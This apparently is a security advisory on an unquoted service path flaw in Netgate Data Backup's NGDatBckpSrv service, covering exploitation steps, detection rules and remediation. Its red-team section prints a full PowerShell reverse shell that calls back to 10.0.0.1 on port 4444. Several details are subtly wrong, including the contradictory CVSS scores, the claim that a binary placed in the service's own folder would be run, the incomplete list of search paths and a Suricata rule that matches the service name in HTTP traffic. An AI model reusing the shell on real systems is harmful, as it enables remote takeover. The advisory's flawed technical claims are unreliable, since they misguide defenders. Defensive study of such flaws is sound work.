CVE-2019-25271

Executive Summary

CVE-2019-25271 is a high-severity unquoted service path vulnerability affecting Netgate Data Backup version 3.0.620. The vulnerability exists in the NGDatBckpSrv Windows service, where the service path is not enclosed in quotes. This allows an attacker with local access to place a malicious executable in a directory that Windows will search before the legitimate service binary, leading to privilege escalation to LocalSystem. The vulnerability has a CVSS score of 0.0 in the NVD but is assessed as critical due to the potential for full system compromise. No official patch has been released, and exploitation is trivial with publicly available proof-of-concept code.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) and is a standalone Windows application. No supply chain implications exist.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs a standard user account.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – full data access.
• Integrity Impact: High (I:H) – arbitrary code execution.
• Availability Impact: High (A:H) – potential denial of service.

Threat Level: Critical. Exploitation is straightforward and leads to complete system takeover.

Deep Dive & Mechanics

The vulnerability stems from the Windows service NGDatBckpSrv being configured with an unquoted service path. When Windows starts a service, it uses the CreateProcess API, which interprets spaces in the path as argument separators if the path is not quoted. For example, if the service path is:

C:\Program Files\Netgate Data Backup\NGDatBckpSrv.exe

Windows will attempt to execute the following in order:

1. C:\Program.exe
2. C:\Program Files\Netgate.exe
3. C:\Program Files\Netgate Data Backup\NGDatBckpSrv.exe

An attacker with write access to any of these directories (e.g., C:\Program Files\Netgate Data Backup\) can place a malicious executable named Netgate.exe or Program.exe. When the service starts (often at boot), the malicious binary runs with LocalSystem privileges, granting full control over the system.

Vulnerable vs. Patched Code

Vulnerable Configuration (Unquoted Service Path):

sc qc NGDatBckpSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NGDatBckpSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Netgate Data Backup\NGDatBckpSrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Netgate Data Backup Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Patched Configuration (Quoted Service Path):

sc qc NGDatBckpSrv
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NGDatBckpSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\Netgate Data Backup\NGDatBckpSrv.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Netgate Data Backup Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

The fix is to enclose the binary path in double quotes. No official patch exists; manual remediation is required.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Local access to the target system with a standard user account.
• Write access to a directory in the unquoted path (e.g., C:\Program Files\Netgate Data Backup\).

Steps:

1. Identify the vulnerable service:

   sc qc NGDatBckpSrv
   

2. Create a malicious executable (e.g., Netgate.exe) that spawns a reverse shell or adds a local admin user.
3. Place the executable in the writable directory:

   copy malicious.exe "C:\Program Files\Netgate Data Backup\Netgate.exe"
   

4. Trigger the service start (e.g., reboot or sc start NGDatBckpSrv):

   sc start NGDatBckpSrv
   

5. The malicious binary executes with LocalSystem privileges.

Example Malicious Payload (PowerShell reverse shell):

$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for service path modifications:

   Get-WmiObject -Class Win32_Service | Where-Object {$_.PathName -notlike '"*"'}
   

2. Check for suspicious executables in C:\Program Files\Netgate Data Backup\:

   dir "C:\Program Files\Netgate Data Backup\*.exe"
   

3. Enable Windows Event Logging for service creation/start (Event ID 7045, 7036).

Mitigation:

• Manually quote the service path:

  sc config NGDatBckpSrv binPath= "\"C:\Program Files\Netgate Data Backup\NGDatBckpSrv.exe\""
  

• Restrict write permissions on C:\Program Files\Netgate Data Backup\ to only Administrators.

Indicators of Compromise (IOCs)

• Service Name: NGDatBckpSrv
• Unquoted Path: C:\Program Files\Netgate Data Backup\NGDatBckpSrv.exe
• Suspicious Files: C:\Program Files\Netgate Data Backup\Netgate.exe, C:\Program.exe, C:\Program Files\Netgate.exe
• Event IDs: 7045 (service creation), 7036 (service state change)
• Registry Key: HKLM\SYSTEM\CurrentControlSet\Services\NGDatBckpSrv
• Network Connections: Outbound connections from NGDatBckpSrv.exe to unknown IPs (if reverse shell used)

Detection Engineering

YARA Rule

rule CVE_2019_25271_Unquoted_Service_Path {
    meta:
        description = "Detects unquoted service path for NGDatBckpSrv"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25271"
    strings:
        $s1 = "NGDatBckpSrv" nocase
        $s2 = "C:\\Program Files\\Netgate Data Backup\\NGDatBckpSrv.exe" nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: Unquoted Service Path - NGDatBckpSrv
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unquoted service path for Netgate Data Backup service
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ServiceName: 'NGDatBckpSrv'
        ImagePath|contains: 'C:\Program Files\Netgate Data Backup\NGDatBckpSrv.exe'
        ImagePath|re: '^[^"]'
    condition: selection
falsepositives:
    - None expected
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2019-25271 - Potential reverse shell from NGDatBckpSrv";
    flow:to_server,established;
    content:"|4e 47 44 61 74 42 63 6b 70 53 72 76|"; distance:0; within:12;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Fix: Manually quote the service path:

   sc config NGDatBckpSrv binPath= "\"C:\Program Files\Netgate Data Backup\NGDatBckpSrv.exe\""
   

2. Restrict Permissions: Ensure only Administrators have write access to C:\Program Files\Netgate Data Backup\.
3. Monitor for Exploitation: Deploy the provided YARA/Sigma/Suricata rules.
4. Upgrade: Contact Netgate for an updated version or consider replacing the software.
5. Workaround: Disable the service if not needed:

   sc stop NGDatBckpSrv
   sc config NGDatBckpSrv start= disabled
   

Valters IT
Securing Digital Frontiers